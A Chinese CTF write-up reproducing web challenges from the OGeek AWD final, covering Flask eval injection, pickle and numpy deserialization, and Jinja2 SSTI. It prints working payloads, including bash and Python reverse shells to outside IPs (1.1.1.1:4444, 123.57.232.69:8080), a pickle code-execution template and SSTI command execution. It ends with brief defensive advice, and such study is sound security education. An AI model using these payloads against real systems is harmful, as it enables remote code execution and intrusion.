Ogeek决赛的部分web复现

前言

由于自己没有获得参加Ogeek线下赛的机会,因此只能赛后复现一波。

0x01 开始复现

这次Ogeek的线下AWD有3个web题目其中最简单是是web3,主要的逻辑都在app.py里面,漏洞也是比较的明显。

0x02 robots后门

app.py中把flag放在robots.txt中,访问就可以拿到flag。
1
2
3
@app.route('/robots.txt', methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)

0x03 eval后面

1
2
3
4
def set_str(type, str):
retstr = "%s'%s'" % (type, str)
print(retstr)
return eval(retstr)
这个函数应该是刻意设置的后门,我们可以跟进看看哪里调用了这个函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
...

if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
我们可以看到message中有调用,并且有限制,msg的长度必须要小于27个字符并且不能有空格和下划线,type只能输入一个字符。
我们构造读flag文件的poc如下:
1
type='&msg=%2bopen('./flag').read()%2b'
我在burpSuite中的构造如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /message HTTP/1.1
Host: 192.168.1.108:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: username=c3ViY2xhc3Nlcw==
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 39

type='&msg=%2bopen('./flag').read()%2b'
读取的结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
<a class="material-icons" href="/#clearmessage">
clear
</a>
<div class="mdl-card mdl-cell mdl-cell--12-col">
<div class="mdl-card__supporting-text">
<h4>Guest,留言成功</h4><br>
<h5>
flag{ljdd5201314}

</h5>
</div>
</div>
</section>
于此同时我们也可以getshell,刚好27个字符如下:
1
msg=%2Bos.popen("echo%09-n%09b>>a")%2B'&type='
简单分析payload
首先需要通过python解释器,因此不能有用法错误,需要前后单引号以及+号闭合。
原本的app.py中已经导入了os模块,因此我们可以用os.popen()执行命令。
不能有空格,但在bash中tab与空格等价url编码为%09
echo不生成换行符可以使用参数-n
用bp发送请求后会报错,但是已经执行成功,并且写入文件了。
我们依次写入反弹的shell的payload:bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1',空格用tab代替。
最后post请求msg=%2Bos.popen("sh%09a")%2B'&type='即可执行反弹shell。
1
2
3
4
5
6
7
8
9
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [111.111.111.111] port 8080 [tcp/http-alt] accepted (family 2, sport 9030)
ls -a
.
..
.accelerate
.adobe
anaconda3
.aria2

0x04 pickle反序列化

在app.py中我们看到import了pickle这个库,第一反应是python反序列化。
全局搜索pickle。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/message', methods=['POST', 'GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
print(info)
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"

if len(msg) > 27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ', '')
msg = msg.replace('_', '')
retstr = set_str(type, msg)
return render_template('message.html', msg=retstr, status='%s,留言成功' % username)
大致的逻辑是,如果是post请求,则获取cookie中的user字段,base64解码,并且触发反序列化。
反弹shell的payload,需要base64编码:
1
2
3
4
5
6
7
8
cposix
system
p1
(S"bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1'"
p2
tp3
Rp4
.
如果要直接返回flag,得使返回值的类型为字典,且有name键。
附上我们的构造脚本。
1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os
import base64

class Poc:
def __reduce__(self):
cmd="echo test >poc.txt"
return os.system,(cmd,)
poc=Poc()
poc=pickle.dumps(poc)
poc=base64.b64encode(poc)
print(poc)
可以很明显的看到执行成功。

通过这个poc我们可以了解一下python的序列化机制。

0X05 Python 的序列化和反序列化是什么

Python 的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程。

下面是示例代码:

序列化代码:
1
2
3
4
5
6
7
8
9
10
11
12
import pickle

class People(object):
def __init__(self,name="ljdd520"):
self.name=name;

def say(self):
print("wang xiao meet you is luckly")

people=People()
string=pickle.dumps(people)
print(string)
反序列化代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class People(object):
def __init__(self,name="ljdd520"):
self.name=name;

def say(self):
print("wang xiao meet you is luckly")

people=People()
string=pickle.dumps(people)
people=pickle.loads(string)
people.say()
说到序列化就要到PVM虚拟机这里就不作介绍了,下面给出一个比较重要的:
1
2
3
4
5
6
S : 后面跟的是字符串
( :作为命令执行到哪里的一个标记
t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中
c :定义模块名和类名(模块名和类名之间使用回车分隔)
R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中
. :点号是结束符
反序列化流程
序列化就是一个将对象转化成字符串的过程,这个我们能直接使用 pickle 实现,这个过程我们也无需利用和分析,这里不做深究,我这里就是说一下如何进行的反序列化
我们将下面这个字符串存储为一个文件 shell.pickle
1
2
3
4
   cos
system
(S'/bin/sh'
tR.
当我们使用下面这个函数对其进行加载的时候
1
2
>>> import pickle
>>> pickle.load(open('shell.pickle'))
执行结果如下:
1
2
3
4
>>> import pickle
>>> pickle.load(open('shell.pickle'))
#
#
可以看到成功返回了 sh 的 shell
我们现在来结合我们上面讲述的 PVM 的操作码看这个文件中的字符串是怎么一步一步执行的
(1)c 后面是模块名,换行后是类名,于是将 os.system 放入栈中
(2)( 这个是标记符,我们将一个 Mark 放入栈中
(3)S 后面是字符串,我们放入栈中
(4)t 将栈中 Mark 之前的内容取出来转化成元祖,再存入栈中 (’/bin/sh’,),同时标记 Mark 消失
(5)R 将元祖取出,并将 callable 取出,然后将元祖作为 callable 的参数,并执行,对应这里就是 os.system(‘/bin/sh’),然后将结果再存入栈中
注意:
1
其实并不是所有的对象都能使用 pickle 进行序列化和反序列化,比如说 文件对象和网络套接字对象以及代码对象就不可以

0x06 与PHP反序列化的对比

相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象(这部分内容在后面会有所介绍),这样的话就大大拓宽了我们的攻击面。

0x07 Python 反序列化漏洞的由来

1.为什么会出现反序列化漏洞
下面是python官方文档的介绍。
1
2
Warning The pickle module is not secure against erroneous or maliciously constructed data. 
Never unpickle data received from an untrusted or unauthenticated source.
说的意思就是官方并不没有义务保证你传入反序列化函数的内容是安全的,官方只负责反序列化,如果你传入不安全的内容那么自然就是不安全的

2.反序列化漏洞往往出现在什么地方

这里引用勾陈安全实验室的大佬写的
1.通常在解析认证token,session的时候
现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
2.可能将对象Pickle后存储成磁盘文件。
3.可能将对象Pickle后在网络中传输。

3.我们怎么利用反序列化漏洞

利用的关键点还是如何构造我们的反序列化的 payload,这时候就不得不提到 reduce 这个魔法方法了(注意:__reduce__方法是新式类(内置类)特有的,)
关于新式类(内置类)和旧式类(自建类),我这里简单的说一下,如果想看具体的,请转向 bendawang 师傅的这篇博客
在 python2 中有两种声明类的方式,并且他们实例化的对象性质是不同的

示例代码:

旧式代码:
1
2
3
4
5
6
>>> class A():
... pass
...
>>> a=A()
>>> type(a)
<type 'instance'>
新式代码:
1
2
3
4
5
6
>>> class B(object):
... pass
...
>>> b=B()
>>> type(b)
<class '__main__.B'>
但是 Python3 中解决了这个问题,在表现上消除了两者的差别,所以如果在 python2 中我们使用 __reduce__ 要使用下面这种声明类的方法
好了,回到正题,我们先看一下官方是怎么介绍这个 __reduce__ 的,
当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化
也就是说我们,只要在新式类中定义一个 __reduce__ 方法,我们就能在序列化的使用让这个类根据我们在__reduce__ 中指定的方式进行序列化,那这就非常好,那我们该如何指定呢?实际上关键就在这个方法的返回值上,这个方法可以返回两种类型的值,String 和 tuple ,我们的构造点就在令其返回 tuple 的时候
当他返回值是一个元祖的时候,可以提供2到5个参数,我们重点利用的是前两个,第一个参数是一个callable object(可调用的对象),第二个参数可以是一个元祖为这个可调用对象提供必要的参数,如果你认真看上面的 PVM 的指令码,你就会发现这个返回值和其中的一个 R 指令非常的一致,(我猜测这个 R 指令码就是这个 __reduce__ 方法的返回值的底层实现 )

开始实践:

示例代码:
1
2
3
4
5
6
7
8
9
10
import pickle
import os
class A(object):
def __reduce__(self):
a = '/bin/sh'
return (os.system,(a,))

a = A()
test = pickle.dumps(a)
print test
运行的结果:
1
2
3
4
5
6
7
8
cposix
system
p0
(S'/bin/sh'
p1
tp2
Rp3
.
我们先不要管这里面的 p0 p1 p2 ,我上面说过了,这个东西是一个标签,有了它只是会出现一个存入内存的操作,p 后面的数字是 key ,因此对最后命令的执行没有任何影响
为了比较方便,我再把上面的那段代码拿下来
1
2
3
4
cos
system
(S'/bin/sh'
tR.
PVM 的 操作码 R 就是 __reduce__ 的返回值的一个底层实现。

紧接着我们让上面的结果进行反序列化一下:

示例代码:
1
2
3
4
5
6
7
8
9
10
import pickle
import os
class A(object):
def __reduce__(self):
a = '/bin/sh'
return (os.system,(a,))

a = A()
test = pickle.dumps(a)
pickle.loads(test)
那这样就非常的方便了,我们能利用这个 reduce 轻松构造我们想要执行的命令,甚至是执行代码(我们可以将 字符串部分换成 python -c “我们要执行的代码”)

我们尝试执行代码反弹 shell

示例代码

1
2
3
4
5
6
7
8
9
import pickle
import os
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.57.232.69",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)

我们成功运行我们的代码,成功反弹shell。

这里就不给出运行结果了。

补充:

又发现了一个比较好的命令能执行 系统命令,那就是 python pty 模块

3.问题出现

我们发现如果我们单纯地使用 -c 参数执行代码的话,好像对一些简单的代码还行,但是如果出现了一些自定义函数了,那么在格式上就比较麻烦,那么有没有一种方式可以满足我们真正执行我们想执行的任何代码的目的呢?
咦?你上面不是说 pickle 不能序列化代码对象吗? 没错,pickle 的确不可以,不信我们试一试
由于python可以在函数当中再导入模块和定义函数,所以我们可以将自己要执行的代码都写到一个函数里foo()

示例代码:

1
2
3
4
5
6
7
8
9
10
11
import pickle

def foo():
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('/bin/sh')
pickle.dumps(foo.func_code)
运行结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
Traceback (most recent call last):
File "./pic3.py", line 12, in <module>
pickle.dumps(foo.func_code)
File "/usr/lib/python2.7/pickle.py", line 1380, in dumps
Pickler(file, protocol).dump(obj)
File "/usr/lib/python2.7/pickle.py", line 224, in dump
self.save(obj)
File "/usr/lib/python2.7/pickle.py", line 306, in save
rv = reduce(self.proto)
File "/usr/lib/python2.7/copy_reg.py", line 70, in _reduce_ex
raise TypeError, "can't pickle %s objects" % base.__name__
TypeError: can't pickle code objects

4.问题解决

但是,我们还有一个利器,自从 python 2.6 起,Python 给我们提供了一个可以序列化code对象的模块–Marshal
我们可以这样让这段代码序列化,同时为了显示方便,我们选择序列化后再进行 base64 处理

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import marshal
import base64

def foo():
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('/bin/sh')

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized

运行结果如下:

1
YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMJAAAALi9waWM0LnB5UgEAAAAHAAAAcwYAAAAAAQwBBAFzCAAAAGZpYigxMCk9aQoAAABzBwAAAC9iaW4vc2goAgAAAHQCAAAAb3N0BgAAAHN5c3RlbSgBAAAAUgIAAAAoAAAAACgBAAAAUgEAAABzCQAAAC4vcGljNC5weXQDAAAAZm9vBQAAAHMIAAAAAAEMAQ8EDwE=
好,现在我们需要让这段代码在反序列化的时候得到执行,那我们还能不能直接使用 __reduce__呢?好像不行,因为 reduce 是利用调用某个 callable 并传递参数来执行的,而我们这个函数本身就是一个 callable ,我们需要执行它,而不是将他作为某个函数的参数,那这个时候怎么办?这时候就要利用我们上面分析的那个 PVM 操作码来自己构造了
我们先写出来我们需要执行的东西,实际上这里也用到了 Python 的一个面向对象的特性,Python 能通过 types.FunctionTyle(func_code,globals(),’’)() 来动态地创建匿名函数,这一部分的内容可以看官方文档的介绍
结合我们之前的编码操作,我们最重要执行的是
1
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
那我们现在的任务就是如何通过 PVM 操作码来构造出这个东西的执行(其实还是蛮复杂的)
这是我们直接给出的paylaod:
1
2
3
4
5
6
7
8
9
10
11
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMHAAAAcGljNC5weVIBAAAABwAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMHAAAAcGljNC5weXQDAAAAZm9vBQAAAHMIAAAAAAEMAQ8EDwE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
大家有兴趣可以自己根据我之前的分析来看自己也分析一下这段代码,会对你的能力有所提升,那么为了每次构造这段代码的方便性,外国大牛给出了构造 payload 的模板,

payload模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import marshal
import base64

def foo():
pass # Your code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

结果:

我们看一下最终执行这段字符串的结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/python_test# python2
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> import os
>>> import marshal
>>> pickle.load(open('pic5.txt'))
fib(10)= 55
# ls -a
. pic3.py pic5.txt pickle_shell.py RCE.py unpickle.py
.. pic4.py pickle_payload.py pic.py solver.py unpic.py
mytcp.py pic5.py pickle_poc.py poc.txt test.py
#
不仅返回了我们 feibonaqie 数列的结果,还返回了我们的 shell

0x08 numpy反序列化(cve-2019-6446)

我们可以全局搜到哪里调用了numpy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/getvdot', methods=['POST', 'GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1, matrix2)
print(result)
return render_template('getvdot.html', msg=result, status='向量点积')
因为numpy的loads方法调用的也是pickle,因此pickle的payload还是可以用.
payload:post提交:
1
matrix1=Y3Bvc2l4CnN5c3RlbQpwMQooUyJiYXNoIC1jICdiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjU4LjEvNDQ0NCAwPiYxJyIKcDIKdHAzClJwNAou&matrix2=MQ==
同样会报错,但是能成功反弹shell.

0x09 Jinja2.from_string SSTI

这个也是今年的新漏洞
https://www.exploit-db.com/exploits/46386
1
2
3
4
5
6
7
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)
在data处使用了Jinja2.from_string直接拼接字符串,存在ssti。
poc需要base64编码填入在cookie的username字段,还有因为是python3有些payload不能使用。
读flag:
1
2
3
4
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('\\flag', 'r').read() }}
{% endif %}{% endfor %}
执行命令:
1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

flask日志记录

flask本身的日志功能并不能满足需求,因此写了一个:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def awdlog():
import time
f = open('/tmp/log.txt','a+')
f.writelines(time.strftime('%Y-%m-%d %H:%M:%S\n', time.localtime(time.time())))
f.writelines("{method} {url} \n".format(method=request.method,url=request.url))
s = ''
for d,v in dict(request.headers).items():
s += "%s: %s\n"%(d,v)
f.writelines(s+'\n')
s = ''
for d,v in dict(request.form).items():
s += "%s=%s&"%(d,v)
f.writelines(s.strip("&"))
f.writelines('\n\n')
f.close()
因为python这题check比较严格,上了waf一直被checkdown,所以没写waf.不过和php的道理是一样的.
python webshell
比赛中虽然没用上,可以准备着,万一哪次就用到了.
https://github.com/evilcos/python-webshell/blob/master/webllehs.py

小结

java题 writeup : 一叶飘零师傅写的2019 OGeek Final & Java Web
php题writeup: xmsec师傅写的ogeek-ozero-wp
上面这部分内容如果想看详细的解释,可以参考 文章一文章二

0x08 Python 反序列化漏洞如何防御

(1) 不要再不守信任的通道中传递 pcikle 序列化对象
(2) 在传递序列化对象前请进行签名或者加密,防止篡改和重播
(3) 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据
(4) 将 pickle 加载的数据列入白名单

0X09 参考

https://checkoway.net/musings/pickle/
http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
http://www.bendawang.site/2017/03/21/python%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0-%E4%B8%80-%EF%BC%9A%E7%B1%BB%E4%B8%8E%E5%85%83%E7%B1%BB%EF%BC%88metaclass%EF%BC%89%E7%9A%84%E7%90%86%E8%A7%A3/
http://www.polaris-lab.com/index.php/archives/178/
https://xz.aliyun.com/t/2289
https://blog.csdn.net/yanghuan313/article/details/65010925
https://www.cnblogs.com/wfzWebSecuity/p/9401677.html
http://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
https://blog.csdn.net/sinat_29552923/article/details/70833455
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://segmentfault.com/a/1190000013099825
https://segmentfault.com/a/1190000013214956
web安全 漏洞分析